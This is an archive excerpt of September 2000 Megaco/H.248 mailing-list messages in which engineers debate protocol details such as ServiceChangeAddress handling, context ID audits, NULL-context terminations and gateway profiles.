> Sent: Tuesday, September 05, 2000 6:52 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Megaco - benifits
>
>
> Hi,
>    Does any body have some presentation/general purpose
>    material which will explain the benifits of using
>    H.248? Or point me some web sites....
>
> Thanks in advance
> Paddu
> --
>                 Enthusiasm
> You can do anything... if you have Enthusiasm.
> Enthusiasm is the yeast makes your hopes rise to the stars.
> Enthusiasm is the sparkle in you eyes.
> Enthusiasm   with it there is accomplishment,
>                        without it there are only alibis
>                                      --- Henry Ford's motto
> ________________________________________________________
>
> C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
> Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
>  Email: pmelanah@cisco.com
> ________________________________________________________
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 05:35:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03483
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 05:35:07 -0400 (EDT)
Received: from standards (47.234.32.16:4835) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92D26@standards.nortelnetworks.com>; Wed, 13 Sep 2000 5:19:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3959 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 05:19:15 -0400
Received: from qhars002.nortel.com (47.101.112.102:65346) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92D1D@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          5:19:13 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Thu, 7 Sep 2000 20:37:23 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Thu, 7 Sep 2000 15:36:09 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PHT7S>; Thu, 7 Sep 2000 15:36:09 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D43@zcard00g.ca.nortel.com>
Date:         Thu, 7 Sep 2000 15:36:07 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm sorry, Brian, nothing in the current spec. requires that the MG always
be the entity that sets up the transport connection -- only that it indicate
its preferred transport by being the first to initiate a control
association.  I've indicated at least a couple of ways in which the MGC
could be the initiator -- if directed by the MG (through inclusion of the
ServiceChangeAddress parameter) or if it decides to change its source
address  The MG can prevent the first case by not ever passing a
ServiceChangeAddress.  I expect it would be fairly easy to get a consensus
that the MGC cannot arbitrarily shift its source for commands, but must
instead issue a ServiceChange with ServiceChangeAddress or
ServiceChangeMgcId so that the MG ends up controlling the shift.

 -----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 1:48 PM
To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress



No, no, no.  The MGC never EVER sets up a transport connection.  The MG
always does this.  Remember: the MG does not have a TCP server, only a
client.
So it's always the MG that sets up the TCP connection.  With TCP you get
a full duplex channel, right?

I understand that with UDP, there is no "connection", so this isn't really
much
of an issue except for the timing weirdness.  It did occur to me that I did
make
an incorrect assumption on UDP - the MG could be listening on the new port
before it sent the ServiceChangeAddress, so the MGC can go ahead and send
the next command without any further ado.

There are two variables and four resulting circumstances where this can
occur.
I think 1.5 of them work.

The variables are who sends ServiceChange command, and who sends
ServiceChangeAddress.

When the MG sends ServiceChange command, and it sends ServiceChangeAddress,
you have a nonsense situation.  It's saying "send the reply to this command
at the
address I sent it from, send further commands to a new address".  The
problem
exists, because the MGC replies to the command at the old address, but then
has to wait until the MG creates the new transport to send the next command.

When the MG sends the ServiceChange command, but the MGC sets
ServiceChangeAddress, this is a "normal" case of something like a pooled
MGC,
or multiple network interfaces.  The same situation exists; the MGC has to
wait until
the MG sets up the new transport before sending the next command.

When the MGC sends the ServiceChange, and it sets the ServiceChangeAddress,
this is the normal handoff.  Here, things work, because the MG replies to
the old
address, tears down the transport and then SENDS A NEW SERVICECHANGE
command.  This is the way I want all of the cases to work, but it's the way
it
is already defined for this case.

The last case is truly warped.  The MGC sends a ServiceChange, and the MG
replies with a new address.  Sort of "well, while we are changing things,
why
don't we change my address".  If the ServiceChange the MG sent is handoff,
(which implies the MGC also set ServiceChangeAddress), everything is fine.
The MG replies to the old address, and then sets up the transport and sends
a
new ServiceChange command.  If the MGC just did something else, then we are
back in the state where the MGC has to wait for the new transport to be set
up
by the MG before it can send a new command.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 07:18:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA04772
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 07:18:20 -0400 (EDT)
Received: from standards (47.234.32.16:4828) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92DF8@standards.nortelnetworks.com>; Wed, 13 Sep 2000 6:59:35 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4221 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 06:59:35 -0400
Received: from qhars002.nortel.com (47.101.112.102:50940) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92DF7@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          6:59:34 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 13 Sep 2000 11:57:37 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 13 Sep 2000 06:57:23 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AG9XP>; Wed, 13 Sep 2000 06:57:22 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D7E@zcard00g.ca.nortel.com>
Date:         Wed, 13 Sep 2000 06:57:19 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Context List in H.248
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes, that seems reasonable.

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Tuesday, September 12, 2000 10:19 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH]
> Cc: megaco@standards.nortelnetworks.com
> Subject: Re: Context List in H.248
>
>
> G'Day Tom,
>
> But Shalini explains also "But as I see it, it is NOT possible to
> specify an Action Reply with an empty Audit reply". I was
> confused with
> this statement. As at least in the ASN1 we can return an empty
> descriptor. I was trying to clarify this.
>
> As I see now you can do this via ActionReplys and yes I think its
> someting for v2 to look at as the action reply is a little clumsy.
>
> Could we add some text to the Implementor's notes (informative) to say
> how this is acheived in v1?
>
> ie.
> ------------------------------
> Implentor's Notes:
> Section 7.2.5
> Description:
> In section 7.2.5 AuditValue it has the following table:
> The following illustrates other information that can be obtained with
> the Audit Command:
> ContextID       TerminationID   Information Obtained
> :
> All             wildcard        Audit of all matching Terminations and
>                                 and the Context to which they are
>                                 associated.
> All             Root            List of all ContextIds
>
> Note: In version 1 the list of ContextIds should be returned by using
> multiple Action Replys each containing a context from the list.
> ------------------------------
>
> Cheers, Christian
>
> Tom-PT Taylor wrote:
> >
> > The functionality is already available, as Shalini
> explains.  Changing
> > the syntax amounts to an optimization.  That's why I ruled it a v2
> > issue.
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > Sent: Monday, September 11, 2000 11:01 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Context List in H.248
> > >
> > >
> > > G'Day Shalini,
> > >
> > > So we have an inconsistancy in the protocol. The protocol text in
> > > version 1 explicitely says that we have this functionality but the
> > > syntax doesn't allow it. To me returning a list of context
> > > IDs is pretty
> > > important functionality. So we are left with the decision to
> > > update the
> > > syntax or to remove the text. I prefer the former.
> > >
> > > Cheers, Christian
> > >
> > > Shalini Philip wrote:
> > > >
> > > > Hello Christian, list,
> > > >
> > > >     I recall this issue being discussed on the mailing list
> > > sometime back.
> > > > And it was decided that we would modify the grammar to
> > > return a Context Id
> > > > list only in V2.
> > > > The information of ContextId list can be conveyed by using
> > > different Action
> > > > Replies in the existing grammar. But as I see it, it is not
> > > possible to
> > > > specify an Action Reply with an empty Audit reply.
> > > >
> > > > Thanks & Regards,
> > > >    Shalini Philip.
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > G'Day all,
> > > > >
> > > > > I've found an inconsistency between the text and the
> encodings.
> > > > >
> > > > > In section 7.2.5 AuditValue it has the following table:
> > > > >
> > > > > The following illustrates other information that can be
> > > obtained with
> > > > > the Audit Command:
> > > > > ContextID       TerminationID   Information Obtained
> > > > > :
> > > > > All             wildcard        Audit of all matching
> > > Terminations and
> > > > >                                 the Context to which they
> > > are associated
> > > > > All             Root            List of all ContextIds
> > > > >
> > > > > However the ABNF nor the ASN.1 have the support to send
> > > back a list of
> > > > > context IDs. This is complicated by the fact the
> > > ContextIds sit above
> > > > > the command. I think the functionality is desirable and
> > > valid so I guess
> > > > > we need to fix the encodings.
> > > > >
> > > > > Firstly do people see this as a valid problem? If so one
> > > solution would
> > > > > be to add the ContextIDList to AuditReturnParameter. Do
> > > people have
> > > > > other suggestions?
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > > > Notice to Recipient:
> > > > > This message is intended only for the use of the Addressee
> > > > > and may contain information that is proprietary and
> confidential
> >
> > > > > and/or privileged by law. If you received this e-mail
> in error,
> > > > > any review, use, dissemination, distribution or
> copying of this
> > > > > e-mail is strictly prohibited. If you have received
> this e-mail
> > in
> > > > > error, please notify us immediately of the error by return
> > e-mail
> > > > > and please delete this message and all attachments from
> > > your system.
> > > > > Thank you.
> > > >
> > > > --
> > > > Regards,
> > > >
> > > > Shalini Philip
> > > > Globespan Inc.
> > > > E-Mail : mailto:sphilip@globespan.net
> > > > Web    : http://www.globespan.net
> > >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 07:22:04 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA04825
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 07:21:57 -0400 (EDT)
Received: from standards (47.234.32.16:4828) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92E27@standards.nortelnetworks.com>; Wed, 13 Sep 2000 7:06:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4280 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 07:06:49 -0400
Received: from qhars002.nortel.com (47.101.112.102:52242) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92E26@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          7:06:49 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 13 Sep 2000
          12:12:50 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 13 Sep
          2000 07:12:41 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AG983>; Wed, 13 Sep 2000 07:12:40 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
Date:         Wed, 13 Sep 2000 07:12:39 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "knayar@HSS.HNS.COM" <knayar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resonses marked by [PTT].

> -----Original Message-----
> From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> Sent: Wednesday, September 13, 2000 1:10 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> Hi Tom, Brian
>
> Some confusion is ensuing from the replies......
>
> Do we have a consensus about the following:
> 1.   Default values are values specified in the packages.
[PTT] In the packages, and sometimes in the main protocol document.

> 2.   Provisioned values are values configured at MG end.
[PTT] Right.

>
> AND
> that we have two options do decide from
>
> Option 1
> MGC when modifies termination properties in the NULL context,
> changes the
> default/ provisioned values.
> These changes would be made to the package properties
> associated with the
> termination only.
[PTT] No. We got rid of that in Geneva (I guess, based on Brian's detective
work).  I may be fuzzy about exactly when, but I can tell you why: you could
get nonsensical results.  In particular, events and signals set up in the
NULL context BEFORE connecting the call would probably make no sense at all
once the connection is dissolved.

> If yes the following questions still remain unanswered:
> Do we allow provisioning of the termination properties after
> MGC modifies them
> in the NULL context.?
> If yes then how does MGC know about this asynchronous change
> ? This is because
> if MGC doesn't know about the change there is no sanctity of
> the changes made by
> the MGC. (One solution presented was that provisioning should
> be followed by a
> service change)
>
> Option 2
> MGC when modifies termination properties in the NULL context,
> changes the
> default/ provisioned values only temporarily. When the
> termination returns to
> the NULL context, default/ provisioned values are restored.
[PTT] That's how the document reads now.

> If yes the following questions still remain unanswered:
> Do we assume that MGC would audit the properties whenever it
> establishes an
> association with a MG and store a copy of the default/
> provisioned values. And,
> explicitly send modify for termination properties whenever it
> needs to change
> the termination property values.
[PTT] That's a workable strategy.

> Do we allow provisioning of the termination properties at run-time?
> If yes then how does MGC know about this asynchronous change
> ? This is because
> if MGC doesn't know about the change there is no sanctity of
> the audited values
> stored by MGC. (One solution presented was that provisioning
> should be followed
> by a service change)
[PTT] I think the service change would be a good idea.  We should look at
putting this into the Implementor's Guide if it doesn't contradict anything
already in the spec.

>
> Option 1 seems to be more appropriate, but the unanswered
> questions need to be
> appropriately addressed. We would like to have others views on this.
>
> -Kapil Nayar
> Hughes Software Systems Ltd.
>
>...
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 09:45:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08033
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 09:45:01 -0400 (EDT)
Received: from standards (47.234.32.16:3067) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92E9D@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:29:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4422 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 09:29:47 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92E9C@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:29:42
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA02704; Wed, 13 Sep 2000 09:43:04 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA16266; Wed, 13 Sep 2000 09:42:52 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69X2VCK>; Wed, 13 Sep 2000 09:42:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67886A@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 13 Sep 2000 09:42:31 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Audit of Packages
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Assume the gateway has 4 terminations
t1/1, t1/2, t2/1 and t2/2
Assume t1/* has packages aaa and bbb implemented on them
and t2/* has packages ccc and ddd implemented on them
Assume context 1 has t1/1 and t2/1 in it, and context 2 has
t1/2 and t2/2 in it.

Then I think
Context=1{Audit=t1/1{Audit{Packages}} returns
Context=1{Audit=t1/1{Packages{aaa,bbb}}}}

Context=*{Audit=t2/*{Audit{Packages}} returns
        Context=1{Audit=t2/1{Packages{ccc,ddd}}},
        Context=2{Audit=t2/2{Packages{ccc,ddd}}}

Context=*{W-Audit=*{Audit{Packages}} returns
Context=*{W-Audit=*{Packages{aaa,bbb,ccc,ddd}}

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Monday, September 11, 2000 7:05 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Audit of Packages
>
>
> G'Day Brian,
>
> What does the response look like in 3) below in the case of normal
> response and in the case of w- wilcard response?
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > In some private correspondence, there was some continuing
> > confusion on auditValue of Packages.  Here is my current
> > understanding:
> >
> > 1. If you audit ROOT, using NULL context, you get the list
> > of Packages implemented on ROOT. You don't get Packages
> > implemented on any other terminations.
> >
> > 2. If you audit ALL, using NULL context, you get the union of
> > packages implemented on any termination in NULL.  Since, right
> > after boot, all terminations are in NULL, this is the normal
> > way you get the list of packages implemented on the gateway.
> > A notable side effect:
> >         ROOT is not in ALL.
> >         Therefore, Context=-{AuditValue=*{Audit{Packages}}}
> >                 DOES NOT get you packages implemented on ROOT
> >
> > 3. If you audit ALL, using ALL context, you get the union
> > of packages implemented on any termination in any Context other
> > than NULL.  You would do this if you needed the packages list
> > when some terminations were in contexts other than NULL.
> >
> > Please note that if you ask for an audit of ALL in ALL, and there
> > are no terminations in Contexts other than NULL, you get an
> > error (431 - No TerminationID matched a wildcard).
> >
> > Is that everyone else's understanding?
> >
> > Brian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 09:52:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08209
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 09:52:00 -0400 (EDT)
Received: from standards (47.234.32.16:3067) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92EC0@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:36:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4467 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 09:36:49 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB92EBD@standards.nortelnetworks.com>; Wed, 13 Sep 2000 9:36:44
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA03371; Wed, 13 Sep 2000 09:50:06 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA18319; Wed, 13 Sep 2000 09:50:08 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8RKLZ>; Wed, 13 Sep 2000 09:49:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67886B@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 13 Sep 2000 09:49:47 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Well we are going to have to agree to disagree on more than
BICC.  I would say our views on what is a profile differ
in that I don't think a profile is used for an "application"
I think a profile is used for an MG.

So, you might have a profile for a residential POTS gateway to
an ATM uplink, or an Access gateway on an IP system.  Although
you can have profiles with options, I'd discourage them in most
cases.  So I don't think profiles are used for menus of "choose
one from column A and one from column B".  I think the "sides"
of the gateway are covered in one profile.  That is what we
are doing at MSF, that is what the PacketCable guys did with
their MGCP profiles.  I think that is a good model.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Tuesday, September 12, 2000 11:07 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> G'Day Brian,
>
> I know that BICC profiles upsets you. Perhaps I should be a
> little more abstract Application Set "A" and Application Set "B"? One
> set of services/applications residing on each side of the
> gateway. These
> services/applications will require some different information elements
> to be sent over the vertical.
>
> I think the one profile for all is noble but who would do a SIP
> Application Set "a" to BICC Application Set "b" and H.323 Application
> Set "c". Is it MSF, ITU SG11, ITUSG16, Softswitch, Tiphon?
> They all have
> an interest in doing something with H.248 and no doubt it
> will be a huge
> political fight if they are to agree on one profile. I might take
> holidays for the 2 years they fight it out :-).
>
> I'd prefer to support profiles A, B and C rather than
> profiles (AB, AA,
> BB, AC, CC, BC, ABC etc) in my MG.
>
> I know I'm not going to convince you that other bodies will do
> applications but I believe the reality is that there will be a
> multiplicity of profiles at the same time and that we need to come up
> with something which allows this. This time is appropriate because we
> know it will happen and I'd rather be proactive rather than trying to
> solve the mess once it occurs.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I proposed a way (not a wonderful way, but a way) to have
> > an MG that has multiple profiles find an MGC to serve it.
> > It won't work if you literally mean supporting two profiles
> > at the same time.  I don't think that is a problem worth
> > solving at this time.  Your example - VoDSL and BICC was
> > an unfortunate choice, because you can predict my answer:
> >         Neither VoDSL, nor BICC should be profiles
> >
> > If someone wanted to define a profile for a residential
> > gateway with a DSL uplink supporting POTS lines, I think that
> > would be a useful profile.  If someone wanted to define
> > a profile for a gateway that switched AAL2 subchannels from
> LES Phase II
> > VoDSL devices into a distributed Class 5 VoATM
> > environment, I think that would be a useful profile.
> > The idea that anything related to BICC (an MGC-MGC protocol)
> > should be visible in a Megaco/H.248 profile strikes me
> > as a very bad idea.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > Sent: Wednesday, September 06, 2000 7:39 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Profiles in Service Change
> > >
> > >
> > > G'Day Brian,
> > >
> > > I think you've proved my point also. There are going to
> be multiple
> > > profiles developed and the MSF won't be the only body in the world
> > > having the mandate to do protocol definition.
> > >
> > > Has John pointed out in email perhaps my example wasn't clear. By
> > > mentioning SIP/H323/ISUP I was more alluding to the
> applications that
> > > these would support. The MG should have no knowledge of the
> > > Call Control
> > > Protocol but it was support the services that these Call Control
> > > Services provide.
> > >
> > > The solution you propose still doesn't get over the case
> where the MG
> > > needs to use 2 profiles. ie. ISUP/BICC Services on one
> side and VoDSL
> > > access on the other side.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > Actually, except for the unfortunate plan to develop an
> > > > profile for BICC, I think you are proving my point.
> > > > A trunk gateway conforming to the MSF Trunk Gateway Profile
> > > > could be used by an MGC that used any of your listed protocols
> > > > to communicate with another MGC.  The idea that the MG should
> > > > have to know what the interMGC protocol is strikes me
> > > > as a VERY bad idea.
> > > >
> > > > The IPphone is an MG profile, and a phone conforming to the
> > > > Ipphone profile could be used with an MGC that used H.323,
> > > > SIP, BICC or other interMGC protocols.
> > > >
> > > > I do believe that there will be some "private" profiles.
> > > > A carrier for example, might develop a profile, and demand
> > > > that vendors conform to it.  That might lead a vendor to
> > > > support more than one profile in an MG, but I suspect that
> > > > such use will depend on a lot of provisioning anyway, and
> > > > will thus not be a problem for the MG.  I also suspect there
> > > > will be a couple of competing profiles for common gateway
> > > > types, which might cause some confusion for a while.
> > > >
> > > > Finally, I suspect that many vendors will have private profiles
> > > > which would make use of some special capabilities, but
> are otherwise
> > > > supersets of a more "standard" profiles.  If such
> > > > vendors can get MGCs to support them, fine.  Otherwise
> > > > such profiles will not fare well in the market.
> > > >
> > > > One way to get around the limitation is to try to get
> > > > service using the most "featurefull" profile.  If you fail
> > > > to find an MGC that can serve that profile, try again with
> > > > a different profile.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > > > Sent: Wednesday, September 06, 2000 12:36 AM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Profiles in Service Change
> > > > >
> > > > >
> > > > > G'Day Brian,
> > > > >
> > > > > So does that mean that nobody can make an MG which
> > > supports more than
> > > > > one profile? :-)
> > > > >
> > > > > This seems to be a pretty big limitation to me. I know
> > > > > several companies
> > > > > are developing MGs that are capable of being used in many
> > > different
> > > > > scenarios. If one MGC can support H323-SIP, Sip-BICC,
> > > BICC-ISUP, VoDSL
> > > > > Access, IpPhone, BICC-3gPP and the permutations of these I
> > > > > don't see why
> > > > > the MG can only support one profile. I don't see that the
> > > > > development of
> > > > > one profile to support all these possibilities is realistic
> > > > > but I do see
> > > > > that a MG could support as these different accesses.
> > > > >
> > > > > In the real world MGs will support multiple profiles and I
> > > > > think we need
> > > > > to give advise in the Implementor's guide how this fits
> > > in with the
> > > > > limited profile mechanism we have in H248v1.
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > I do NOT consider it to be an error, and I think
> the whole idea
> > > > > > of Profile is that an MG implements one.  The MGC,
> of course,
> > > > > > can implement many (if it serves several kinds of gateways).
> > > > > >
> > > > > > While such a restriction could lead to lots of
> private profiles,
> > > > > > it could also lead to a few commonly implemented profiles.
> > > > > > The package mechanism is a wonderful thing, but it leads to
> > > > > > lots of options, which leads to incompatible MGs and MGCs.
> > > > > > Profiles are the way to group options into
> implement able sets
> > > > > > so that MGs and MGCs can interoperate.
> > > > > >
> > > > > > If you have multiple profiles, then you might as well just
> > > > > > have no profiles - the ServiceChange could return the
> > > package list.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Christian Groves
> [mailto:Christian.Groves@ERICSSON.COM]
> > > > > > > Sent: Monday, September 04, 2000 8:58 PM
> > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Profiles in Service Change
> > > > > > >
> > > > > > >
> > > > > > > G'Day all,
> > > > > > >
> > > > > > > I discussion on another email exploder (MSF) it
> was pointed
> > > > > > > out that the
> > > > > > > ServiceChange only supports one profile to be returned. I
> > > > > would have
> > > > > > > thought that a MG could support more than one profile.
> > > > > > >
> > > > > > > Do people consider this to be an error to be
> updated in the
> > > > > > > implementor's guide?
> > > > > > >
> > > > > > >
> > > > > > > If so the following changes probably would be necessary.
> > > > > > >
> > > > > > > 7.2.8 ServiceChange
> > > > > > > The optional ServiceChangeProfile parameter specifies the
> > > > > Profile[/s]
> > > > > > > (if any) of the protocol supported.  The
> > > > > ServiceChangeProfile includes
